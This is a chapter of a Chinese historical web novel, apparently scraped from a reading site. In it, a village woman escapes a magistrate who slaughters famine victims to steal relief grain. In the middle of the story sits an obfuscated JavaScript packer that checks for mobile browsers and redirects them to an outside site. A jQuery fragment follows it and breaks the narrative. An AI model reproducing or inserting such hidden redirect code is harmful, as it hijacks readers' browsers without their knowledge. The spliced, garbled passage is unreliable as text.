默认冷灰
24号文字
方正启体

1. 濯枝雨

作者:若酒本书字数:K更新时间:
    清泰三年。


    暮春时节,司州的上党郡先是干燥少雨,导致玉米、大豆、小麦等农作物的播种出现问题。五、六月,汉阳郡开始雨水连绵,引发水灾。大量的害虫繁衍,吃空庄稼,粮食颗粒无收。


    大齐司州,汉阳郡,沛县。


    六月初五。


    濯枝雨[1],淅淅沥沥。一阵风来,不是和煦的,是很冷的风。暗淡无光,泥沙混合着雨水。


    沛县县衙。


    宋芷来到沛县县衙,便把蓑衣放在衙门旁。县令尤语正在县衙办公,他一袭黑色朝服,头戴官帽,身材矮小,体格单薄。


    “民女宋芷见过尤县令。”宋芷向县令尤语,行了万福礼。


    “起来吧。”


    尤语眼尾扫过宋芷。宋芷一袭茶褐色粗麻直裾,梳着平髻,头戴木簪。


    “宋芷,你是为赈灾粮食而来的?”尤语面带笑意。


    “是。”宋芷让他戳中来意,神态自若,“家里无米可炊。大家拿着粮票,正等着县令大发慈悲,把粮米发下去呢。”


    “只要粮米清点无误。”尤语正襟危坐,“今晚就能发下去,你们,凭着粮票来拿就是了。”


    “多谢尤县令。”宋芷微笑片刻,行了礼,“民女告退。”


    尤语目送宋芷离开县衙,脸色布满阴云。


    想要粮食?


    一条毒计应运而生。


    青祈道上,一辆木轺车[2]正往沛县,缓缓行驶。长方形的车厢坐着一名年轻男子,他一袭青碧色缂丝水纹云锦直裾,头戴青玉冠,狐狸眼,轩然霞举,薄唇紧抿。


    “中舍人,我们是先去驿馆?”御奴问道。


    “不急。”男子慢条斯理地说,“我们先去县里转转。”


    宋芷回到家,从柜里拿出粮票,心里愈发不安起来。


    方才,是她第五次去县衙,让尤语把粮食发下去。前四次,县令不是躲着她,就是派吏员驱赶她。


    这次怎么就轻而易举地松了口?


    奇怪。


    她正准备出门,听见一阵敲门声。


    宋芷打开门,只见一名衣着华丽的男子站在门外。


    “你,”宋芷眼神警惕,“有什么事?”


    “女郎勿惊。”男子行拱手礼,微笑片刻,“在下是游学的,想讨杯热茶喝。”


    “没有。”宋芷面无表情,正准备关上门。


    “女郎。”男子拉着门框,温柔地说,“女郎何故如此?”


    “沛县发生水灾,庄稼遭毁。”宋芷坦然地说,“我有上顿没下顿,哪有高档茶水给你?你衣着不凡,若是去县衙,县令会好吃好喝地供着你。”


    “可是,皇帝陛下,”男子凑近一步,语态轻松,“他已经让人发了救济粮。”


    “你是谁?”宋芷眼神清冷。


    “在下顾桓,字随野。”顾桓行礼如仪,眉开眼笑,“官职,第六品太子中舍人。”


    “司州有五个郡,酒泉为帝都。余下的四个郡,上党,汉阳,俏郡,昌都。上党卢氏,酒泉李氏,汉阳王氏,俏郡顾氏,昌都候氏。其中,俏郡民风彪悍,豪侠横行……”


    “请。”宋芷想起学堂郑夫子的话,向顾桓行了礼,便侧过身子,让顾桓进入屋内。


    宋芷先坐在蒲草垫子,然后示意顾桓坐到对面的垫子。她将热茶放在茶几上。


    “顾公子不直接去县衙,”宋芷喝着茶,“您来到民居,是发现什么了?”


    “连村已经开始杀人烹食。”顾桓说。


    宋芷居住在季村,隔壁是连村。沛县饥荒酝酿。草根,树皮是有限的,村民靠这些果腹显然不是长久之计。县民的道德底线开始崩塌。连村出现“易子而食”,把自己的孩子与别人交换来吃。


    “你是朝廷派来的奉使?”宋芷试探道。


    顾桓笑笑,看宋芷坐姿端正,深感兴趣,说:“你读过书?”


    “沛县有女子学堂。”宋芷笑着说,“我时常去听学,学了不少字。”


    “在下叨扰女郎了。”顾桓抿了一口茶,便站起来,“告辞。”


    两人相互作礼,顾桓离开。


    宋芷关上门,发现一颗玉珠和纸条放在案桌上。


    纸条写着:琥珀街三号。


    夜晚,风雨晦暝。


    宋芷与其它村民来到沛县县衙。


    沛县县衙。


    “宋芷,你不是说,尤县令要派发粮食?”一个村民左顾右盼,奇怪地问,“怎么一个人都没有?”


    “是。”宋芷点点头,“尤县令亲口说的。”


    尤语走过来,向宋芷等人行礼,说:“诸位先去墨堂等候。我这就吩咐吏员,搬运粮食。”


    “这边请。”尤语说完,便离开了。


    十几位村民面面相觑,不发一言,便跟着走了。宋芷感觉有些蹊跷,退了几步。


    墨堂门口,有一些黑衣人徘徊,面目不善,个个拿着斧头。


    圈套!


    “快跑!”宋芷向他们喊道。


    十几位村民未及反应,便已经人身分离,个个眼睛睁得老大,血浆铺了一地。那些匪徒杀完人,目露凶光。他们看着尸体,如同看见美味佳肴一般。


    宋芷手脚发麻,胃火中烧,正想逃跑。


    尤语一把捉住她的手,猥琐地笑,问道:“小美人,想去哪啊?”


    “尤县令,我求求你。”宋芷跪倒在地,流着眼泪,“别杀我。”


    尤语抬起宋芷的下巴。她一袭麻衣也难掩风姿,不施粉黛,清眸流盼,松松挽了个平髻,泪痕晶莹。


    “我怎么舍得杀你?”尤语温柔地将宋芷拉起来,“只要你好好服侍我。”


    “若能服侍县令。”宋芷擦着泪水,温柔地说,“是小女子的福分。”


    “好。”尤语拉着她的手,来到一处房间。


    房门关上,尤语便要火急火燎地亲她。


    “先吹灯。”宋芷转过身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371209|199912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,假装解着衣带,哭着道,“我害羞。”


    尤语吹了灯,房间黑暗一片,靠近宋芷。


    “啊——”尤语惨痛地捂着眼睛。


    宋芷用木簪刺瞎他的眼睛,眼球流着黑血,尤语哇哇直叫,痛得打滚。


    “你——”尤语额头布满冷汗,“贱人。”


    宋芷点燃蜡烛,作了一个“嘘”的手势,说:“低声。再吵,你的右眼也保不住。”


    “好。”尤语惊恐地点着头,“你问吧。”


    “为什么要杀人?”宋芷的木簪徘徊在他的右眼旁,稍有不对,准备一击。


    “救济粮不够。”尤语瑟瑟发抖,艰难地说,“养活不了那么多灾民!”


    “胡说!”宋芷压低声音,冷酷地说,“县衙不是上报灾民数字,这样中央政府才能按照每户实际人数,把粮食分发给我们的吗?你不要愚弄我!”


    “哼!这哪是给你们的?”尤语颤抖地抖出绢帕,捂着左眼,继续说道,“桥县县令刘孜他,他,他写信给我,说王中丞要高价收买这些粮食。”


    王中丞,叫作王洵,字待聘,出自汉阳王氏,官拜第四品御史中丞。


    王洵越过汉阳郡太守,直接写信给刘孜。


    刘孜是王家的门人。


    尤语按照刘孜的意思,先是向中央谎报沛县的死亡人数,等中央分发救济粮食,便与另外的五个县合谋,一块侵吞赈灾粮食与物资。他们与王家囤积粮食,再与当地商人打个招呼,待国家粮食价格上涨时,高价出售,牟取暴利。这些钱财,自然是二八平分,县衙为二,王家为八。


    “你给我定个什么罪名?”宋芷的话语,像秋叶一般落寞,“派我回去报信,引诱县民来到县衙?”


    灾民的死亡人数对不上,他们是想靠杀人,来润色数字?


    尤语不敢答话。


    “你该死。我有家不能回,还得背个“杀人”的罪名。”宋芷认真地说,“反正我都是要背罪的,留你也无用。干脆送你上黄泉路吧。”


    “不能啊!”尤语悲哀地说,“祖宗,求求你别杀我。我帮你,我帮你逃出去。”


    “你撒谎。”宋芷从怀里拿出剪子,准备刺下去。


    “真的!”尤语焦急地说,牙齿差点咬到舌头,他左手捂着受伤的眼睛,又要磕头,滑稽得很。


    “你要我怎么信你?”宋芷笑着说。


    “我给你找辆马车。”尤语凄凉地说。


    “行。”宋芷神情自然。


    尤语转过身的瞬间,宋芷吹熄蜡烛,用烛台敲中他的脖子,尤语晕倒在地。宋芷在柜子里翻找片刻,找到小刀和火折子,用小刀撬开窗户,悄悄地溜出房间。她躲过官差,顺着树干爬上屋顶,然后跳下来。


    木轺车经过密林,顾桓感觉浑身发冷,拉紧了披风。御奴从怀里抽出利刃,正向顾桓刺去,顾桓始料未及,抬手一挡,让御奴刺伤右臂。


    御奴见顾桓受伤,双手掐住他的脖颈。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)